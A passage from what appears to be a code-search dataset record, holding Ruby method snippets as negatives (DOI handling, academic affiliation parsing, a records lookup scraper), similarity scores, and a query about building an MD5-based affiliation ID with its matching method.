"def find(pid)\n digital_object_record = ::DigitalObjectRecord.find_by(pid: pid)\n\n if digital_object_record.nil?\n raise Hyacinth::Exceptions::DigitalObjectNotFoundError, \"Couldn't find DigitalObject with pid #{pid}\"\n end\n\n # Retry after Fedora timeouts / unreachable host\n fobj = nil\n Retriable.retriable DigitalObject::Base::RETRY_OPTIONS do\n fobj = ActiveFedora::Base.find(pid)\n end\n\n digital_object = DigitalObject::Base.get_class_for_fedora_object(fobj).new\n digital_object.init_from_digital_object_record_and_fedora_object(digital_object_record, fobj)\n digital_object\n end",
"def get_doc(did)\n DB.get(did)\nend",
"def doi_without_host(doi:)\n return doi unless doi.present?\n return doi.gsub(%r{http(s)?://ezid.cdlib.org/id/}, '') if doi.include?('ark:')\n\n out = doi.gsub(%r{htt(p)s?://doi.org/}, '')\n out.start_with?('doi:') ? out : \"doi:#{out}\"\n end",
"def get_prisoner_by_din(year, letter, sequence)\n visit \"/\"\n fill_in \"M00_DIN_FLD1I\", :with => year.to_s\n fill_in \"M00_DIN_FLD2I\", :with => letter.to_s\n fill_in \"M00_DIN_FLD3I\", :with => sequence.to_s\n click_button \"Submit\" \n\n # Did we hit an error page?\n error = page.all(\"p.err\").first\n raise ContentError, error.text if error.text.length > 0\n \n store = {} # A hash of data.\n\n tables = page.find(\"#content\").all(\"table\")\n\n # ID + Location info\n store.merge!(Hash[tables[0].all(\"th\").map { |x| x.text }.zip(tables[0].all(\"td\").map { |x| x.text })])\n\n # Sentence Terms and Release Dates\n store.merge!(Hash[tables[2].all(\"th\").map { |x| x.text }.zip(tables[2].all(\"td\").map { |x| x.text })])\n\n # Crimes of Conviction\n crimes = { \"crimes\" => {} }\n crimes[\"crimes\"] = Hash[tables[1].all(\"td[headers=crime]\").map { |x| x.text }.zip(tables[1].all(\"td[headers=class]\").map { |x| x.text })]\n store.merge!(crimes) \n \n return store\n end",
"def get_icdf(p)\n end",
"def generate_doi\n return @work.identifier_doi if doi_exists?\n\n # TODO: This is a fake generated for demo purposes.\n # Eventually, this should be replaced with code using the EZID API.\n \"http://dx.doi.org/doi:99.0000/#{@work.id}\"\n end",
"def find\n raise \"Method not implemented\"\n end",
"def doi_params\n params.require(:doi).permit(:name, :description, :url)\n end",
"def has_local_doi? ids=nil\n ids||=identifier\n not not ( ids.index full_mock_doi )\n end"
] |
[
"0.6485324",
"0.61680067",
"0.61680067",
"0.6060004",
"0.5910328",
"0.57447666",
"0.5689464",
"0.567634",
"0.56634",
"0.56480044",
"0.5642986",
"0.5639806",
"0.5599755",
"0.55870616",
"0.5582495",
"0.5578304",
"0.55764955",
"0.5569101",
"0.5537298",
"0.5524617",
"0.5512387",
"0.55020994",
"0.5445834",
"0.54441106",
"0.538427",
"0.5348544",
"0.53460413",
"0.532197",
"0.53214395",
"0.53197783",
"0.53180885",
"0.5266125",
"0.52614903",
"0.52430874",
"0.5226254",
"0.5224953",
"0.52178127",
"0.515994",
"0.5133063",
"0.51298493",
"0.51298493",
"0.5125449",
"0.5122055",
"0.5121255",
"0.51158047",
"0.5108991",
"0.5095215",
"0.508153",
"0.50776017",
"0.50768757",
"0.5071263",
"0.50664604",
"0.505838",
"0.5031507",
"0.503053",
"0.50272363",
"0.50272363",
"0.50251335",
"0.50032336",
"0.50012374",
"0.49918598",
"0.49855292",
"0.49765298",
"0.497622",
"0.49690288",
"0.49649346",
"0.49597386",
"0.49554035",
"0.49466032",
"0.4923588",
"0.49091136",
"0.49058858",
"0.49041018",
"0.49011436",
"0.48998797",
"0.48988634",
"0.4898177",
"0.48947975",
"0.48843312",
"0.48825824",
"0.487521",
"0.48711714",
"0.48711222",
"0.48690498",
"0.4855689",
"0.48405352",
"0.484048",
"0.48396352",
"0.48355255",
"0.48314148",
"0.4830415",
"0.4829382",
"0.4828626",
"0.48284218",
"0.48260474",
"0.48250142",
"0.48209584",
"0.48202315",
"0.48149914",
"0.48126018"
] |
0.55603623
|
18
|
Some affiliations doesn't have an id. We could create it hashing the name and the country on unidentified filliations on head tag The process only add the affiliation if name is not nil
|
def get_id_affiliation(name,city,country)
"NS:"+Digest::MD5.hexdigest("#{name}|#{city}|#{country}")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def affiliation=(affil)\n affiliations.clear\n affiliations << affil\n end",
"def whole_affil (new_party_affiliation)\n if new_party_affiliation == \"d\"\n \"Democrat\"\n else new_party_affiliation == \"r\"\n \"Republican\"\n end\n end",
"def affiliation(name, req, desc)\n params = {:name => name, \n :description => desc,\n :requires_memberid => req}\n ClubAffiliation.create_or_update_by(:name, params)\nend",
"def search_affiliation(afid)\n x=xml.at_xpath(\"//affiliation[@afid=\\\"#{afid}\\\"]\")\n if !x\n raise \"I can't find affiliation #{afid}\"\n else\n name=x.xpath(\"organization\").map { |e| e.text }.join(\";\")\n city=process_path(xml, \"//affiliation[@afid=\\\"#{afid}\\\"]/city-group\")\n country=process_path(xml, \"//affiliation[@afid=\\\"#{afid}\\\"]/country\")\n country||=x.attribute(\"country\").value\n end\n {:id => afid, :name => name, :city => city, :country => country,:type=>:scopus}\n end",
"def create_affi_obj(lines_list, auth_id)\n tkn_idx = 0\n auth_affi = Author_Affiliation.new()\n auth_affi.article_author_id = auth_id\n inst_found = \"\"\n #while tkn_idx < lines_list.count\n while tkn_idx < lines_list.count\n a_line = lines_list[tkn_idx].strip\n # lines_hash.keys.each do |line_key|\n # a_line = lines_hash[line_key].strip\n # first element is designated as the affilition\n if tkn_idx == 0\n auth_affi.name = a_line\n elsif $affi_countries.include?(a_line)\n auth_affi.country = a_line\n elsif $affi_institutions.include?(a_line)\n if auth_affi.name != nil\n # if the affiliation name is not an institution\n # add institution to name and make short name the institution\n # otherwise shot name is the same as name\n if $affi_institutions.include?(auth_affi.name) or \\\n $institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n auth_affi.short_name = auth_affi.name\n auth_affi.add_01 = a_line\n else\n auth_affi.name = auth_affi.name + \", \" + a_line\n auth_affi.short_name = a_line\n end\n end\n elsif $institution_synonyms.keys.include?(a_line.to_sym) then\n if auth_affi.name != nil\n # if the affiliation name is not an institution\n # add institution to name and make short name the institution\n # otherwise shot name is the same as name\n if !$affi_institutions.include?(auth_affi.name) and \\\n !$institution_synonyms.keys.include?(auth_affi.name.to_sym) then\n auth_affi.name = auth_affi.name + \", \" + $institution_synonyms[a_line.to_sym]\n auth_affi.short_name = $institution_synonyms[a_line.to_sym]\n else\n auth_affi.short_name = $institution_synonyms[a_line.to_sym]\n end\n end\n elsif auth_affi.add_01 == nil\n auth_affi.add_01 = a_line\n elsif auth_affi.add_02 == nil\n auth_affi.add_02 = a_line\n elsif auth_affi.add_03 == nil\n auth_affi.add_03 = a_line\n elsif auth_affi.add_04 == nil\n auth_affi.add_04 = a_line\n elsif auth_affi.add_05 == nil\n auth_affi.add_05 = a_line\n elsif auth_affi.add_05 != nil # case more than 5 tokes in address\n auth_affi.add_05 += \", \" + a_line\n end\n tkn_idx += 1\n end\n\n # make sure there is a short name, if blank make it the same as name\n if auth_affi.short_name == nil\n auth_affi.short_name = auth_affi.name\n end\n\n # if country is missing get check all addres lines in object\n if auth_affi.country == nil\n got_it = false\n auth_affi.instance_variables.each do |instance_variable|\n # look for country name in address strings\n if instance_variable.to_s.include?(\"add_0\") then\n #print instance_variable\n value = auth_affi.instance_variable_get(instance_variable)\n ctry = get_country_any(value.to_s)\n if ctry != nil then\n auth_affi.country = ctry\n value = drop_country(value)\n auth_affi.instance_variable_set(instance_variable, value)\n break\n end\n end\n end\n # look for country in affiliation name\n if auth_affi.country.to_s == \"\" then\n ctry = get_country_any(auth_affi.name)\n auth_affi.country = ctry\n end\n # look for country in institution table\n if auth_affi.country.to_s == \"\" then\n inst_found = auth_affi.name\n # separate lookup for sysnonyms as they are not registered as institution\n if $affi_institutions.include?(auth_affi.name)\n inst_found = auth_affi.name\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $affi_institutions.include?(auth_affi.short_name)\n inst_found = auth_affi.short_name\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $institution_synonyms.keys.include?(auth_affi.name.to_sym)\n inst_found = $institution_synonyms[auth_affi.name.to_sym]\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n elsif $institution_synonyms.keys.include?(auth_affi.short_name.to_sym)\n inst_found = $institution_synonyms[auth_affi.short_name.to_sym]\n ctry = get_value(\"Affiliations\", \"country\", \"institution\", inst_found.strip)\n auth_affi.country = ctry\n end\n end\n end\n return auth_affi\nend",
"def affiliate\n @affiliate || Affiliate.with_id(@data_object.user_affiliate)\n end",
"def affiliation\n affiliations.try(:first)\n end",
"def set_affiliate\n if affiliate.present?\n account.affiliate_id = affiliate.id\n account.affiliate_other = affiliate.subaffiliates_enabled? ? account_params[:affiliate_other] : nil\n else\n account.affiliate_id = account.affiliate_other = nil\n end\n account\n end",
"def affiliation\n []\n end",
"def affiliate_affiliations\n @affiliate_affiliations ||= Affiliation.find_by_uid(uid)\n end",
"def affiliation_id=(affil_id)\n self.affiliation_ids = affil_id\n end",
"def set_affiliation\n @affiliation = Affiliation.find(params[:id])\n end",
"def party_affiliation\n @registration.party_affiliation.blank? ? 'Not stated' : @registration.party_affiliation\n end",
"def affiliation_id\n affiliation_ids.try(:first)\n end",
"def initialize(name, political_affiliation)\n @name = name\n @political_affiliation = political_affiliation\n end",
"def affiliate\n self.affiliate_class && affiliate_id && self.affiliate_class.find(affiliate_id)\n end",
"def set_affiliation\n @affiliation = Affiliation.find(params[:id])\n add_breadcrumb @affiliation, @affiliation\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def affiliation\n @affiliation ||= auth_types_collection[attrs[:patron_status]] unless attrs[:patron_status].nil?\n end",
"def get_affiliations\n affiliations\n end",
"def set_affiliate\n @affiliate = Affiliate.find(params[:id])\n end",
"def attach_identifiers(provenance:, affiliation:, result: {}, json: {})\n return affiliation unless affiliation.new_record?\n\n ror_prov = Provenance.where(name: 'ror').first\n\n # First use any identifiers returned by ROR\n if ror_prov.present? && result.present? && (result[:ror].present? || result[:fundref].present?)\n if result[:ror].present?\n affiliation.identifiers << ::Identifier.find_or_initialize_by(\n provenance: ror_prov, category: 'ror', descriptor: 'is_identified_by',\n value: \"https://ror.org/#{result[:ror]}\", identifiable_type: 'Affiliation'\n )\n end\n if result[:fundref].present?\n affiliation.identifiers << ::Identifier.find_or_initialize_by(\n provenance: ror_prov, category: 'fundref', descriptor: 'is_identified_by',\n value: \"https://api.crossref.org/funders/#{result[:fundref]}\",\n identifiable_type: 'Affiliation'\n )\n end\n end\n\n # Otherwise take any identifiers passed in the JSON\n id = json.fetch(:affiliation_id, json.fetch(:funder_id, {}))\n if id.present? && id[:identifier].present?\n identifier = Api::V0::Deserialization::Identifier.deserialize(\n provenance: provenance, identifiable: affiliation, json: id\n )\n affiliation.identifiers << identifier if identifier.present? && identifier.new_record?\n end\n affiliation\n end",
"def set_affiliate\n @affiliate = Affiliate.find(params[:id])\n end",
"def set_affiliate\n @affiliate = Affiliate.find(params[:id])\n end",
"def affiliations\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('affiliations',:node => node_id)\n )\n )\n send_iq_stanza_fibered iq\n end",
"def attribution\n case self.flickr_license\n when 0\n rights = '(c)'\n when nil\n rights = '(c)'\n when 7\n rights = '(o)'\n else\n rights = '(cc)'\n end\n \n if !self.flickr_realname.blank?\n name = self.flickr_realname\n elsif !self.flickr_username.blank?\n name = self.flickr_username\n elsif !self.observations.empty?\n name = self.observations.first.user.login\n else\n name = \"anonymous Flickr user\"\n end\n\n \"#{rights} #{name}\"\n end",
"def attribution\n title = name && !name.empty? ? \"<cite>#{name}</cite>\" : \"Photo\"\n licensing_info = \n if license\n \", licensed under <a href='#{@@license_links[license]}'>#{license}</a>\"\n else\n nil\n end\n \"<a href='#{image_address}'>#{title}</a> by \n <a href='#{author_address}'>#{author_name}</a>#{licensing_info}</a>\"\n end",
"def flatten_affiliation(affiliation)\n if affiliation.include? \"staff\" and not (affiliation.include? \":\")\n return \"staff-academic\"\n end\n\n case affiliation\n when \"faculty:senate\"\n return \"faculty\"\n when \"faculty:federation\"\n return \"lecturer\"\n when \"staff:career\"\n return \"staff\"\n when \"staff:casual\"\n return \"staff\"\n when \"staff:contract\"\n return \"staff\"\n when \"staff:student\"\n return \"staff-student\"\n when \"student:graduate\"\n return \"student-graduate\"\n when \"visitor:student:graduate\"\n return \"student-graduate\"\n when \"faculty\"\n return \"faculty\"\n when \"student:undergraduate\", \"student:law\", \"visitor:consultant\", \"student:medicine\",\n \"visitor:student:concurrent\", \"visitor:lecturer\", \"visitor:faculty:research\", \"visitor:staff:temporary\",\n \"visitor:postdoc:research\", \"visitor:faculty:teaching\", \"visitor:student\", \"student:vetmed\", \"student\",\n \"visitor\"\n return nil\n else\n Rails.logger.warn \"AD Sync: Missing affiliation for translation to container name: #{affiliation}\"\n ActivityLog.err!(\"Could not translate unknown affiliation to AD group equivalent: #{affiliation}\", ['active_directory'])\n end\n\n return false\nend",
"def create\n @member = @current_user\n unless params[:organization][:id].blank?\n @organization = Organization.find(params[:organization][:id])\n else\n @organization = Organization.new(params[:organization])\n @phone = Phone.new(params[:phone])\n @phone.phonable_type = 'Organization'\n @phone.tag_for_phone = 'main'\n @organization.phones << @phone\n @organization.created_by = @member.id\n @organization.save!\n end\n exists = Affiliation.find(:first,\n :conditions => \"user_id = #{@current_user.id} and organization_id = #{@organization.id}\")\n if exists\n failure \"Request rejected. #{@current_user.name} already requested affiliation \" +\n \"with #{@organization.name}. You can check the status by asking in \" +\n \"<a href=\\\"http://foodmoves.campfirenow.com/e08e3\\\" \" +\n \"onclick=\\\"window.open(this.href,'Chat','width=650,height=1000');return false;\\\">chat</a>.\"\n else \n @affiliation = Affiliation.new(\n :user_id => @current_user.id,\n :organization_id => @organization.id)\n if @affiliation.save\n begin\n InvitationMailer::deliver_affiliation(@current_user, @organization)\n AdminMailer::deliver_affiliation(@current_user, @organization, @affiliation)\n rescue\n failure \"Affiliation entered but unable to send email notification.\"\n end\n flash[:notice] = \"Within the next business day, our support team will\n contact #{@organization.name} \n to verify that you are authorized to trade.\"\n chat_alert('team', \"#{@current_user.name} wants to get set up for trading\")\n else\n failure \"Unable to submit request for affiliation.\"\n end\n end\n unless @fail\n redirect_to member_url(@member)\n else\n flash[:error] = @err_msg \n redirect_to :back \n end\n end",
"def set_cms_affiliation\n @cms_affiliation = Cms::Affiliation.find(params[:id])\n end",
"def fill_names_if_nil\n if en_name.blank? && jp_name.blank?\n self.en_name = author.en_name\n self.jp_name = author.jp_name\n end\n end",
"def affiliate_params\n params.require(:affiliate).permit(:name, :affid)\n end",
"def affiliate= affiliate\n if affiliate\n if affiliate.class != affiliate_class # self.class.to_s != \"#{affiliate.class.to_s}Reference\"\n raise \"Attempt to affiliate #{self.class.to_s} reference with #{affiliate.class} object.\"\n elsif affiliate_id && (affiliate_id != affiliate.id)\n raise \"Attempt to create ambiguous reference by asserting new affiliate\"\n else\n self.affiliate_id = affiliate.id\n end\n end\n end",
"def affiliation_text\n unless affiliation.nil?\n return affiliation\n else\n return get_sanitized_detail(\"default_patron_type\") || I18n.t('default_patron_type')\n end\n end",
"def affiliation_matcher\n @affiliations_matcher ||= FuzzyStringMatcher.new( all_affiliations, :name )\n end",
"def modify_affiliations(affs)\n affs = [affs].flatten\n iq = connection.iq_stanza({'to'=>jid.bare,'type'=>'set'},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('affiliations',{:node => node_id},\n affs.map do |s|\n x('affiliation',:jid => s.jid, :affiliation => s.affiliation)\n end\n )\n )\n )\n send_iq_stanza_fibered iq\n end",
"def insert_author_affiliation(affi_object, cd_affi_ids)\n # insert the object\n # get the id of the inserted object\n # update all cr_affiliations with the author_affiliation_id\n sql_statement = \\\n \"SELECT id, name FROM cr_affiliations WHERE article_author_id = \" + affi_object.article_author_id.to_s + \";\"\n db = get_db()\n #stm = db.prepare sql_statement\n #rs = stm.execute\n\n db.execute(\"INSERT INTO Author_Affiliations VALUES (?,?,?,?,?,?,?,?,?,?,?,?)\", 1, affi_object.article_author_id, affi_object.name, affi_object.short_name,\n affi_object.add_01, affi_object.add_02, affi_object.add_03,affi_object.add_04, affi_object.add_05, affi_object.country,'2020-09-27','2020-09-27')\nend",
"def create\n\t\t@affiliation = @resume.affiliations.new({\n\t\t\t:start_date_string => Date.today.to_s,\n\t\t\t:end_date_string\t => Date.today.to_s,\n\t\t\t:organization => 'Organization',\n\t\t\t:relationship => 'Relationship'\n\t\t})\n\t\t@affiliation.save!\n\trescue\n\t\tflash.now[:error] = 'Affiliation creation FAILED!'\n\t\trender :text => ''\n\tend",
"def affiliations_for_actor(person_id:)\n publication_ids = Publication.where.not(published_at: nil).where(is_deleted: false).map {|publ| publ.id}\n people2publication_ids = People2publication.where('publication_id in (?)', publication_ids).where('person_id = (?)', person_id.to_i).map { |p| p.id}\n department_ids = Departments2people2publication.where('people2publication_id in (?)', people2publication_ids).order(updated_at: :desc).map {|d2p2p| d2p2p.department_id}\n departments = Department.where(id: department_ids)\n affiliations = departments.map {|d| {id: d.id, name: I18n.locale == :en ? d.name_en : d.name_sv}}\n return affiliations.sort_by {|a| a[:name]}\n end",
"def insert_primary_salutation\n if self.primary_salutation.blank?\n result = String.new\n result += \"#{self.primary_title.name} \" unless self.primary_title.nil?\n result += \"#{self.first_name} #{self.family_name}\"\n self.primary_salutation = result.squeeze(\" \").strip\n end\n end",
"def get_author_cr_affiliations(auth_id)\n sql_statement = \\\n \"SELECT id, name FROM cr_affiliations WHERE article_author_id = \" + auth_id.to_s + \";\"\n db = get_db()\n stm = db.prepare sql_statement\n rs = stm.execute\n values_hash = {}\n rs.each do |row|\n values_hash[row[\"id\"]] = row[\"name\"]\n end\n return values_hash\nend",
"def deserialize_affiliation(provenance:, json: {})\n return nil unless json.present? && json[:affiliation].present?\n\n Api::V0::Deserialization::Affiliation.deserialize(\n provenance: provenance, json: json[:affiliation]\n )\n end",
"def add(*citations)\n clashing = []\n hsh = to_hash\n citations.each do |cit|\n if hsh.key? cit.ident\n clashing << cit\n else\n @citations.push(cit)\n end\n end\n if clashing.size > 0\n clashing\n else\n nil\n end\n end",
"def find_by_name(provenance:, json: {})\n return nil unless json.present? && json[:name].present?\n\n # Search both the local DB and the ROR API\n results = AffiliationSelection::SearchService.search_combined(search_term: json[:name])\n return results.first if results.length == 1 && results.first.is_a?(::Affiliation)\n\n # Grab the closest match - only caring about results that 'contain'\n # the name with preference to those that start with the name\n result = results.select { |r| %w[0 1].include?(r[:weight].to_s) }.first\n affil = AffiliationSelection::HashToAffiliationService.to_affiliation(hash: result) if result.present?\n\n # If no good result was found just use the specified name\n affil = ::Affiliation.find_or_initialize_by(name: json[:name]) unless affil.present?\n\n # Attach the alternate names / abbreviations\n affil.alternate_names = [] unless affil.alternate_names.present?\n affil.alternate_names << result[:abbreviation] if result.present?\n\n affil.types = result.present? ? result.fetch(:types, []) : []\n affil.attrs = result.present? ? result.fetch(:attrs, {}) : {}\n\n attach_identifiers(provenance: provenance, affiliation: affil, json: json, result: result)\n end",
"def get_affiliations_count\r\n @summary.affiliations_count\r\n end",
"def with_affiliation_type(type)\n self.find_all{|user| user[1][:affiliation_type]==type }.shuffle\n end",
"def create\n @cms_affiliation = Cms::Affiliation.new(cms_affiliation_params)\n\n respond_to do |format|\n if @cms_affiliation.save\n format.html { redirect_to @cms_affiliation, notice: 'Affiliation was successfully created.' }\n format.json { render :show, status: :created, location: @cms_affiliation }\n else\n format.html { render :new }\n format.json { render json: @cms_affiliation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_author(author_name, author_ff)\n author = Author.find_by_name(author_name)\n if !author # if it doesn't exist, add it\n generate_log(\"Generating New Author: #{author_name}\")\n author = Author.new()\n author.name = author_name\n author.ff_id = author_ff\n else\n generate_log(\"Author Exists: #{author_name}\")\n end\n author\nend",
"def identifying_string\n @identifying_string ||= \"#{name}, Co. #{county}\"\n end",
"def cc_affiliation_type(value)\n value = Array(value).first\n if value.blank? || value == 'Emory University'\n cc_affiliation_options[0]\n else\n cc_affiliation_options[1]\n end\n end",
"def add_innovation(organization, innovationName)\n\tinnovation = Innovation.where(name: innovationName).take\n\tif innovation\n\t\tOrganizationInnovation.create({\n\t\t\torganization: organization,\n\t\t\tinnovation: innovation\n\t\t});\t\n\tend\nend",
"def affiliations\n @net_ldap_entry[:berkeleyeduaffiliations]\n end",
"def affiliate_params\n params.require(:affiliate).permit(:name, :name_addon, :lastname, :firstname, :street, :zip, :city, :country, :email)\n end",
"def generate_referral_code!\n ref_code = ''\n existing_referral_codes = User.pluck(:referral_code)\n while existing_referral_codes.include?(ref_code) && ref_code == ''\n ref_code = ''\n ref_code << Team.pluck(:short_city_name).sample\n # 3.times do\n # ref_code << ('a'..'z').to_a.sample\n # end\n 4.times do\n ref_code << ('0'..'9').to_a.sample\n end \n end\n self.update_attribute(:referral_code, ref_code)\n end",
"def all_affiliations\n @team_affiliations ||= TeamAffiliation.all\n end",
"def maintain_affiliates\n values = {\n 'aff_opts' => Affiliate.options,\n 'aff_id' => -1,\n 'form_url' => url(:handle_maintain),\n }\n\n standard_page(\"Maintain Affiliates\", values, MAINTAIN_AFFILIATES)\n end",
"def add_spouse\n @union = Union.by_uid( params[:uuid] )\n @individual = Individual.by_uid( params[:uid] ) \n if !@union\n @union = Union.new\n if @individual.female?\n @union.wife_uid = @individual.uid\n else\n\t @union.husband_uid = @individual.uid\n\t end \t \n end \n end",
"def attribution\n name = if !native_realname.blank?\n native_realname\n elsif !native_username.blank?\n native_username\n elsif (o = observations.first)\n o.user.name || o.user.login\n else\n \"anonymous\"\n end\n if license == PD\n \"#{name}, no known copyright restrictions (#{license_name})\"\n elsif open_licensed?\n \"(c) #{name}, some rights reserved (#{license_short})\"\n else\n \"(c) #{name}, all rights reserved\"\n end\n end",
"def create_affiliation!(publication_version_id:, person:, position:, reviewed_at: nil, reviewed_publication_version_id: nil)\n p2p = People2publication.create({\n publication_version_id: publication_version_id,\n person_id: person[:id],\n position: position,\n reviewed_at: reviewed_at,\n reviewed_publication_version_id: reviewed_publication_version_id\n })\n if p2p.errors.any?\n raise (V1::ControllerError.new(\n code: ErrorCodes::VALIDATION_ERROR,\n errors: { authors: p2p.errors.values }\n ))\n end\n if person[:departments].present?\n person[:departments].each.with_index do |department, j|\n d2p2p = Departments2people2publication.create({people2publication_id: p2p.id, department_id: department[:id], position: j + 1})\n if d2p2p.errors.any?\n raise (V1::ControllerError.new(\n code: ErrorCodes::VALIDATION_ERROR,\n errors: { authors: d2p2p.errors.values }\n ))\n end\n end\n end\n end",
"def affiliation_params\n params.require(:affiliation).permit(Affiliation.safe_attributes)\n end",
"def assign_search(aff_id)\n @data.affiliate = Affiliate.with_id(aff_id)\n assign_common\n end",
"def affi_object_well_formed(affi_object, name_list, parsed_complex, auth_id)\n # problem: affi_object nil\n if affi_object == nil\n puts \"\\n********************* Affiliation is nil **********************\\n\"\n print name_list\n # problem: missing country\n elsif affi_object.country == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************Missing country**********************\\n\"\n affi_object.print()\n return false\n # problem: missing name\n elsif affi_object.name == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Missing name **********************\\n\"\n affi_object.print()\n return false\n # problem: missing author or author_affiliation_id incorrect\nelsif affi_object.article_author_id == nil or \\\n affi_object.article_author_id != auth_id\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Wrong Author ID **********************\\n\"\n affi_object.print()\n return false\n else\n return true\n end\nend",
"def create\n @affiliation = Affiliation.new(affiliation_params)\n\n respond_to do |format|\n if @affiliation.save\n format.html { redirect_to affiliations_url, notice: 'Affiliation was successfully created.' }\n # format.json { render :show, status: :created, location: @affiliation }\n else\n format.html { render :new }\n format.json { render json: @affiliation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @affiliation = Affiliation.new(affiliation_params)\n\n respond_to do |format|\n if @affiliation.save\n format.html { redirect_to :back }\n #format.json { render :show, status: :created, location: @affiliation }\n else\n format.html { redirect_to :back }\n #format.json { render json: @affiliation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_organization\n return \"NSBE\" if affiliation == 1\n \"SHPE\"\n end",
"def afficeur\n @city_link.map do |element|\n villes = get_city_names(element)\n email = get_townhall_email(element)\n @result = []\n @result << {villes => email}\n end\n end",
"def insert_personalien(report)\n report.add_field(:title, person.title)\n report.add_field(:birthdate, Date.parse(person.birthdate.to_s).strftime('%d.%m.%Y'))\n report.add_field(:origin, person.origin)\n report.add_field(:language, person.language)\n report.add_image(:profile_picture, person.picture.path) if person.picture.file.present?\n end",
"def cms_affiliation_params\n params.require(:cms_affiliation).permit(:url, :image)\n end",
"def unique_pax(pax_data)\n \tif pax_data['travellerInformation']['passenger'].is_a?(Array) then\n type_pax = \"ADLWINF\" #Adulto con infante\n surname = \"#{pax_data['travellerInformation']['traveller']['surname']}\"\n name = \"#{pax_data['travellerInformation']['passenger'][0]['firstName']}\"\n inf_name = \"#{pax_data['travellerInformation']['passenger'][1]['firstName']}\"\n else\n \ttype_pax = pax_data['travellerInformation']['passenger']['type']\n \tsurname = \"#{pax_data['travellerInformation']['traveller']['surname']}\"\n \tname = \"#{pax_data['travellerInformation']['passenger']['firstName']}\"\n end\n\n if type_pax == \"INF\"\n \tresponse = \"(INF#{surname}/#{name})\"\n elsif type_pax == \"ADLWINF\"\n \tresponse = \"#{surname}/#{name}(INF/#{inf_name})\"\n elsif type_pax.nil?\n \tresponse = \"#{surname}/#{name}\"\n else\n \tresponse = \"#{surname}/#{name}(#{type_pax})\"\n end\n return response\n end",
"def concat_personal_name\n fields = %w(100 700)\n fields.each do |field|\n people = node.xpath(\"//marc:datafield[@tag='#{field}']\", NAMESPACE)\n people.each do |person|\n name_a = person.xpath(\"marc:subfield[@code='a']\", NAMESPACE).first rescue nil\n name_b = person.xpath(\"marc:subfield[@code='b']\", NAMESPACE).first rescue nil\n if name_a && name_b \n last_name = name_a.content rescue \"\"\n first_name = name_b.content rescue \"\" \n full_name = \"#{last_name}, #{first_name}\"\n name_a.content = full_name\n name_b.remove\n end\n end\n end\n end",
"def check_name_links!\n @@name_lookup ||= {}\n\n # Look for __Name__ turn into \"Name\":name_id. Look for \"Name\":name and\n # fill in id. Look for \"Name\":name_id and make sure id matches name just\n # in case the user changed the name without updating the id.\n self.gsub!(NAME_LINK_PATTERN) do |orig_str|\n prefix = $1\n label = remove_formatting($2)\n name = expand_genus_abbreviation(label)\n name = supply_implicit_species(name)\n name = strip_out_sp_cfr_and_sensu(name)\n if (parse = Name.parse_name(name)) &&\n # Allowing arbitrary authors on Genera and higher makes it impossible to\n # distinguish between publication titles and taxa, e.g., \"Lichen Flora\n # of the Greater Sonoran Region\". I'm sure it can still break with species\n # but it should be very infrequent (I don't see it in current tests). -JPH\n (parse.author.blank? || parse.rank != :Genus)\n Textile.private_register_name(parse.real_text_name, parse.rank)\n prefix + \"x{NAME __#{label}__ }{ #{name} }x\"\n else\n orig_str\n end\n end\n end",
"def new_affiliate\n resource = build_resource\n resource.role = 'affiliate'\n resource.build_affiliate\n respond_with resource\n end",
"def icn_id_unique\n return if icn_id.nil?\n return if (conflicting_name = other_names_with_same_icn_id.first).blank?\n\n errors.add(:base, :name_error_icn_id_in_use.t(\n number: icn_id, name: conflicting_name.real_search_name\n ))\n end",
"def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{sanitized_title.downcase}_#{salt}\"\n end\n end",
"def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{self.title.gsub(/[^\\w\\.\\-]/,'_').downcase}_#{salt}\"\n end\n end",
"def all_affiliations\n @all_affiliations ||= TeamAffiliation.joins(:season).where( \"seasons.season_type_id = #{season.season_type_id}\" )\n end",
